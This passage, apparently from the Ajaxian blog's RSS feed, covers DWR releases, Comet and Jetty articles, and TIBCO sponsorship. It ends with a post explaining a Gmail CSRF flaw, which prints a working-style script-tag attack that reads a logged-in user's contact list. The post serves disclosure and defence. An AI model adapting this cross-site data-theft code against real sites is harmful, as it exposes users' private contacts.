<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #003366; font-weight: bold;">var</span> color = dwr.<span style="color: #006600;">util</span>.<span style="color: #006600;">getValue</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #3366CC;">'color'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; FileUploader.<span style="color: #006600;">uploadFiles</span><span style="color:#006600; font-weight:bold;">&#40;</span>image, file, color, <span style="color: #003366; font-weight: bold;">function</span><span style="color:#006600; font-weight:bold;">&#40;</span>data<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; dwr.<span style="color: #006600;">util</span>.<span style="color: #006600;">setValue</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color: #3366CC;">'image'</span>, data<span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
</ol>
</div>
</div>
</div>
<p>Anyway, let's watch Joe explain:</p>
<p><object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/sxGdya91IBQ"></param><embed src="http://www.youtube.com/v/sxGdya91IBQ" type="application/x-shockwave-flash" width="425" height="350"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/joe-walker-shows-a-tip-from-dwrnext/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Live Real-time Session Rater using Comet</title>
		<link>http://ajaxian.com/archives/live-real-time-session-rater-using-comet</link>
		<comments>http://ajaxian.com/archives/live-real-time-session-rater-using-comet#comments</comments>
		<pubDate>Wed, 26 Sep 2007 11:12:16 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Comet]]></category>
		<category><![CDATA[Dojo]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>
		<category><![CDATA[Showcase]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=2820</guid>
		<description><![CDATA[Greg Wilkins wrote a session rater for conferences that showcases how Jetty, Dojo and DWR can work together to provide real-time, two way communication. The application gives a live 1 to 5 star rating of the sessions, speaker awards (Rockstar, Vulcan, Uber Geek or Droid) and per session chat rooms.]]></description>
			<content:encoded><![CDATA[<p>Greg Wilkins wrote a <a href="http://www.webtide.com/sessionRater/">session rater</a> for conferences that showcases how Jetty, Dojo and DWR can work together to provide real-time, two way communication.</p>
<p>The application gives a live 1 to 5 star rating of the sessions, speaker awards (Rockstar, Vulcan, Uber Geek or Droid) and per session chat rooms.</p>
<p><a href="http://www.webtide.com/sessionRater/"><img src="http://ajaxian.com/wp-content/images/rockornot.jpg" alt="Rock or Not" border="0" width="540" height="534"/></a></p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/live-real-time-session-rater-using-comet/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Write scalable Comet applications with Jetty and DWR</title>
		<link>http://ajaxian.com/archives/write-scalable-comet-applications-with-jetty-and-dwr</link>
		<comments>http://ajaxian.com/archives/write-scalable-comet-applications-with-jetty-and-dwr#comments</comments>
		<pubDate>Fri, 27 Jul 2007 07:47:54 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Comet]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/archives/write-scalable-comet-applications-with-jetty-and-dwr</guid>
		<description><![CDATA[Philip McCarthy wrote a nice piece on how to Write scalable Comet applications with Jetty and Direct Web Remoting. He delves into the details of Comet, Jetty, Continuations, and DWR "Reverse Ajax": You've now seen how Jetty Continuations combined with Comet can provide an efficient, scalable solution for event-driven Ajax applications. I haven't given any <a href="http://ajaxian.com/archives/write-scalable-comet-applications-with-jetty-and-dwr">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>Philip McCarthy wrote a nice piece on how to <a href="http://www.ibm.com/developerworks/java/library/j-jettydwr/index.html">Write scalable Comet applications with Jetty and Direct Web Remoting</a>.</p>
<p>He delves into the details of Comet, Jetty, Continuations, and DWR "Reverse Ajax":</p>
<blockquote>
<p>You've now seen how Jetty Continuations combined with Comet can provide an efficient, scalable solution for event-driven Ajax applications. I haven't given any figures for the scalability of Continuations because  performance in a real-world application depends on so many variables. Server hardware, choice of operating system, JVM implementation, Jetty configuration, and indeed your Web application's  design and traffic profile all affect the performance of Jetty's Continuations under load. However, Greg Wilkins of Webtide (the main Jetty developers) has published a white paper on Jetty 6 that compares the performance of a Comet application with and without Continuations, handling 10,000 concurrent requests. In Greg's tests, using Continuations cuts thread consumption, and concomitantly stack memory consumption, by a factor of more than 10.</p>
<p>You've also seen how easy it is to implement an event-driven Ajax application using DWR's Reverse Ajax technology. Not only does DWR save you much client- and server-side coding, but Reverse Ajax also abstracts the whole server-push mechanism away from your code. You can switch freely among the Comet, polling, or even piggyback methods, simply by altering DWR's configuration. You're free to experiment and find the best-performing strategy for your application, without any impact on your code.</p>
<p>If you'd like to experiment with your own Reverse Ajax applications, a great way to learn more is to download and examine the code of the DWR demos .</p>
</blockquote>
<p><a href="http://www.ibm.com/developerworks/java/library/j-jettydwr/index.html"><img src="http://www.ibm.com/developerworks/java/library/j-jettydwr/figure3.jpg" border="0"/></a></p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/write-scalable-comet-applications-with-jetty-and-dwr/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DWR Version 2.0 Final Released</title>
		<link>http://ajaxian.com/archives/dwr-version-20-final-released</link>
		<comments>http://ajaxian.com/archives/dwr-version-20-final-released#comments</comments>
		<pubDate>Fri, 27 Apr 2007 15:46:05 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/archives/dwr-version-20-final-released</guid>
		<description><![CDATA[I hope Joe had a nice warm beer last night after he released the final version of DWR 2.0. We have been talking about this release for awhile, and it is great stuff. Now you can do amazing things with Reverse Ajax, and know that security is core to the framework. We asked Joe now <a href="http://ajaxian.com/archives/dwr-version-20-final-released">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>I hope Joe had a nice warm beer last night after <a href="http://getahead.org/dwr/changelog/dwr20">he released the final version of DWR 2.0</a>.</p>
<p>We have been talking about this release <a href="http://ajaxian.com/archives/dwr-20-rc4-released">for awhile</a>, and it is great stuff. Now you can do amazing things with Reverse Ajax, and know that security is core to the framework.</p>
<p>We asked Joe now that this version is out of the door, what is he looking to do for future releases:</p>
<blockquote><p>
JMS support, and OpenAjax Hub support so you can do pub/sub across<br />
reverse ajax from one browser to another and back onto an enterprise<br />
message bus.</p>
<p>ImageConverter to take Swing Images and turn them into Gifs. This would<br />
make things like JCaptcha easy, but it also enable sexy things like<br />
running a Swing app with -headless, taking screenshots and broadcasting<br />
them to browsers. Add some event handling and you have multi-user X over<br />
Ajax.</p>
<p>A Reverse Ajax compiler so we can take a large Javascript API (like for<br />
example GI ;-) and create a Java version that generates script that can<br />
be posted over reverse ajax.</p>
<p>An a million dull things like a better API to convert from<br />
ScriptSessions to HttpSessions, session delete on window close, etc.
</p></blockquote>
<p>Good stuff to come!</p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/dwr-version-20-final-released/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>DWR 2.0 RC4 Released</title>
		<link>http://ajaxian.com/archives/dwr-20-rc4-released</link>
		<comments>http://ajaxian.com/archives/dwr-20-rc4-released#comments</comments>
		<pubDate>Wed, 11 Apr 2007 17:12:53 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Announcements]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/archives/dwr-20-rc4-released</guid>
		<description><![CDATA[DWR has a new release that should be pretty stable, with a final release coming soon. Features The biggy is Guice support. If it wasn't for the fact that we could add this in without touching the core of DWR, I'd say this was too big a change at this point in the release cycle, <a href="http://ajaxian.com/archives/dwr-20-rc4-released">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>DWR has a <a href="http://getahead.org/blog/joe/2007/04/11/new_dwr_release_2_0_rc4.html">new release</a> that should be pretty stable, with a final release coming soon.</p>
<p><b>Features</b></p>
<ul>
<li>The biggy is <a href="http://code.google.com/p/google-guice/">Guice support</a>. If it wasn't for the fact that we could add this in without touching the core of DWR, I'd say this was too big a change at this point in the release cycle, however Tim Peierls (who you might know from <a href="http://www.javaconcurrencyinpractice.com">this project</a>) has done a stack of work to make DWR and Guice play really well together. You can read more about the background <a href="http://tembrel.blogspot.com/2007/04/guice-support-in-dwr.html">on Tim's blog</a>.
</li>
<li>Security: The <a href="http://getahead.org/blog/joe/2007/04/02/good_marks_for_security_features_in_dwr.html">Fortify review</a> highlighted some areas where DWR was lacking. You can read more about what DWR now does to protect you in the <a href="http://getahead.org/dwr/security/script-tag-protection">DWR security documentation</a>.</li>
<li>Reverse Ajax: There have been some cases where reverse ajax has not been as stable as it should be. I hope that most of those are now behind us.</li>
</ul>
<p>The reverse Ajax features are really quite something. If you haven't checked them out yet, <a href="http://getahead.org/dwr/download">do so</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/dwr-20-rc4-released/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>OpenAjax Hub: DWR, TIBCO, Lightstreamer example</title>
		<link>http://ajaxian.com/archives/openajax-hub-dwr-tibco-lightstreamer-example</link>
		<comments>http://ajaxian.com/archives/openajax-hub-dwr-tibco-lightstreamer-example#comments</comments>
		<pubDate>Thu, 29 Mar 2007 14:48:14 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[Comet]]></category>
		<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>
		<category><![CDATA[TIBCO]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=2267</guid>
		<description><![CDATA[Joe Walker has discussed the progress of the OpenAjax Hub. He has participated in a demo of using the OpenAjax Hub with DWR or Lightstreamer. TIBCO GI is the UI side, and it plugs into either backends with no code changes. With a traditional request/response model, DWR (and Lightstreamer) would be calling GI routines to <a href="http://ajaxian.com/archives/openajax-hub-dwr-tibco-lightstreamer-example">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>Joe Walker has <a href="http://getahead.org/blog/joe/2007/03/28/dwr_openajax_hub_tibco_gi.html">discussed the progress</a> of the <a href="http://www.openajax.org/OpenAjax%20Hub.html">OpenAjax Hub</a>. He has participated in a demo of using the OpenAjax Hub with DWR or Lightstreamer. TIBCO GI is the UI side, and it plugs into either backends with no code changes.</p>
<blockquote><p>
With a traditional request/response model, DWR (and Lightstreamer) would be calling GI routines to update. With the pub/sub model the distinction between client and server is gone because the UI publishes things it's interested in back to the hub. There's no reason the UI has to be GI even: any UI that groks the OpenAjax hub can play. We could even have several UI components listening to the same messages on one page.</p>
<p>The OpenAjax Hub is getting close to a 1.0 release, and I'm hoping that DWR will have a server-side version of the OpenAjax hub soon after. This would allow you to transparently co-ordinate remote hubs, and even allow publishing of messages from one browser to another.</p>
<p>I've put the DWR version live so anyone can have a play. It's not exciting, but you can see it in action. Just click on an "Industry Sector" to see messages published to that sector. See the <a href="http://getahead.org:5280/dwr-gi/dwr_oa_gi.html">DWR/OpenAjax/GI demo</a>. I hope to move where it is hosted soon, and this is definitely something of a test, so don't be surprised if you get a 404. I hope we can get a demo of the Lightstreamer version live soon too.
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/openajax-hub-dwr-tibco-lightstreamer-example/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>TIBCO to sponsor DWR development</title>
		<link>http://ajaxian.com/archives/tibco-to-sponsor-dwr-development</link>
		<comments>http://ajaxian.com/archives/tibco-to-sponsor-dwr-development#comments</comments>
		<pubDate>Wed, 10 Jan 2007 13:30:26 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[DWR]]></category>
		<category><![CDATA[Front Page]]></category>
		<category><![CDATA[TIBCO]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=2000</guid>
		<description><![CDATA[TIBCO has announced that they are doing to sponsor work by the DWR lead (Joe Walker) to integrate DWR and TIBCO GI. This is good news for both parties: TIBCO GI users will have a new way to integrate with Java web applications DWR: The integration work between DWR and TIBCO GI will probably help <a href="http://ajaxian.com/archives/tibco-to-sponsor-dwr-development">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>TIBCO has announced that they are doing to sponsor work by the DWR lead (Joe Walker) to integrate DWR and TIBCO GI.</p>
<p>This is good news for both parties:</p>
<ul>
<li>TIBCO GI users will have a new way to integrate with Java web applications</li>
<li>DWR: The integration work between DWR and TIBCO GI will probably help integrate with other frameworks. Changes made to DWR to work with GI will be exposed for other work. For example, the DWR team will look at automating the currently-hand written server-side version of Scriptaculous Effects.</li>
</ul>
<p>JBI users may get some tighter integration too, making your life easier. We are excited to see what comes of this.</p>
<p><b>More details (from the Press Releases)</b></p>
<blockquote><p>
TIBCO will work with DWR founder, Joe Walker, to provide ready-made integration points between DWR and TIBCO General Interfaceâ„¢, TIBCOâ€™s Ajax Rich Internet Application toolkit for creating rich graphical GUIs in a browser. Additionally, the collaboration will seek to extend DWR so that it can function as a Java Business Integration (JBI) standard service engine and be deployed on TIBCO ActiveMatrixâ„¢, the industryâ€™s first service virtualization platform. The complementary components of DWR and General Interfaceâ„¢ will ultimately enable businesses to expand their uses of message and event-based service-oriented architectures. </p>
<p>â€œWe are excited to be working with TIBCO to push adoption of DWR further into the enterprise,â€ said Joe Walker, DWR founder. â€œDWR has been a leading Ajax framework for some time but working with TIBCO will help take DWR further into the realm of full Ajax Rich Internet Applications being deployed alongside message and event-driven service platforms.â€</p>
<p>With substantial application modernization efforts underway and a continued trend towards SOA in business, the combined Ajax libraries of General Interface and DWR will provide capabilities that deliver rich user features such as editable grids, real-time events and notifications, and streaming data. By running on Internet technology rather than operating or runtime environment dependent technologies, businesses will experience much lower costs of ownership.</p>
<p>â€œDWR is a rapid way for Java developers to expose Java objects as simple Ajax services without the need for additional configuration or transformation. We have many customers already using DWR with the General Interface Ajax library,â€ said Kevin Hakman, director product marketing, TIBCO General Interface. â€œWith DWRâ€™s reverse Ajax capability, messages and events can be pushed from the server to the browser so that Web applications can also have real-time notification and streaming data features.â€
</p></blockquote>
<p>Read <a href="http://getahead.ltd.uk/blog/joe/2007/01/10/dwr_and_tibco.html">Joe Walker's thoughts</a></p>
]]></content:encoded>
			<wfw:commentRss>http://ajaxian.com/archives/tibco-to-sponsor-dwr-development/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Gmail CSRF Security Flaw</title>
		<link>http://ajaxian.com/archives/gmail-csrf-security-flaw</link>
		<comments>http://ajaxian.com/archives/gmail-csrf-security-flaw#comments</comments>
		<pubDate>Mon, 01 Jan 2007 21:08:01 +0000</pubDate>
		<dc:creator>Dion Almaer</dc:creator>
				<category><![CDATA[DWR]]></category>
		<category><![CDATA[Editorial]]></category>
		<category><![CDATA[Front Page]]></category>

		<guid isPermaLink="false">http://ajaxian.com/?p=1972</guid>
		<description><![CDATA[There is a lot of chatter regarding a CSRF security flaw in Gmail. CSRF attacks are Cross Site Request Forgery attacks, which are cousins of XSS, but different. Joe Walker of DWR has written a detailed account of CSRF and how to avoid exposing your applications to them. Anatomy of the Gmail Attack If you <a href="http://ajaxian.com/archives/gmail-csrf-security-flaw">Read the rest...</a>]]></description>
			<content:encoded><![CDATA[<p>There is a lot of chatter regarding a <a href="http://digg.com/programming/GMail_Hacked_Visit_ANY_Website_and_Your_Whole_Contact_List_Can_be_Stolen">CSRF security flaw in Gmail</a>.</p>
<p><a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a> attacks are Cross Site Request Forgery attacks, which are cousins of XSS, but different. </p>
<p>Joe Walker of DWR has written a detailed account of CSRF and <a href="http://getahead.ltd.uk/blog/joe/2007/01/01/csrf_attacks_or_how_to_avoid_exposing_your_gmail_contacts.html">how to avoid exposing your applications to them</a>.</p>
<blockquote><p>
<b>Anatomy of the Gmail Attack</b></p>
<p>If you were logged onto GMail then <a href="http://googlified.com.googlepages.com/contactlist.htm">visiting this page</a> will show you all your GMail contacts. How does it work?</p>
<p>The attack uses script tags, and just assumes that you are logged-on. Since most GMail users are permanently logged on, this isn't a huge problem.</p>
<p>There is a Google URL that returns some script containing your contacts:</p>
<p><code></p>
<p>http://docs.google.com/data/contacts?out=js&#038;show=ALL&#038;psort=Affinity&#038;callback=google&#038;max=99999</p>
<p></code></p>
<p>The page will look like this:</p>
<div class="igBar"><a href="javascript:showCodeTxt('javascript-10');">PLAIN TEXT</a></div>
<div class="syntax_hilite"><span style="color:#000000; font-weight:bold;">JAVASCRIPT:</span>
<div id="javascript-10">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">google <span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; Success: <span style="color: #003366; font-weight: bold;">true</span>,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; Errors: <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; Body: <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; AuthToken: <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; Value: <span style="color: #3366CC;">'********'</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; Contacts: <span style="color:#006600; font-weight:bold;">&#91;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; Id: <span style="color: #3366CC;">'***'</span>,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; Email: <span style="color: #3366CC;">'users at dwr.dev.java.net'</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; Affinity: ***,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; Groups: <span style="color:#006600; font-weight:bold;">&#91;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; id: <span style="color: #3366CC;">'^Freq'</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; value: <span style="color: #3366CC;">'users at dwr.dev.java.net'</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#93;</span>,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; Addressess: <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; Phoness: <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; Imss: <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span>,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900; font-style: italic;">// Lots more contacts here</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#93;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color:#006600; font-weight:bold;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
</ol>
</div>
</div>
</div>
<p>So we're calling a function "google()" and passing it a data structure that includes all your contacts. So all we need to do is to do something with this data. The page I linked-to earlier creates a list from it using code like this:</p>
<div class="igBar"><a href="javascript:showCodeTxt('html-11');">PLAIN TEXT</a></div>
<div class="syntax_hilite"><span style="color:#000000; font-weight:bold;">HTML:</span>
<div id="html-11">
<div class="html">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">&lt;script</span></a> <span style="color: #000066;">type</span>=<span style="color: #ff0000;">"text/javascript"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">function google(data){</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; var emails, i;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; for (i = 0; i <span style="color: #009900;">&lt;data.Body.Contacts.length; i++<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; mails += <span style="color: #ff0000;">"&lt;li&gt;</span>&quot; + data.Body.Contacts[i].Email + &quot;&quot;;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; }</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; document.write(&quot;<span style="color: #009900;">&lt;ol&gt;</span>&quot; + emails + &quot;<span style="color: #009900;">&lt;/ol&gt;</span>&quot;);</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">}</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;">&lt;/script&gt;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;">&lt;script type="</span><span style="color: #000066;">text</span>/javascript<span style="color: #ff0000;">" src="</span>http://docs.google.com/<span style="color: #000066;">data</span>/contacts?out=js&amp;show=ALL&amp;psort=Affinity&amp;callback=google&amp;max=99999<span style="color: #ff0000;">"&gt;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;">&lt;/script&gt;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="color:#000000; font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</span></div>
</li>
</ol>
</div>
</div>
</div>
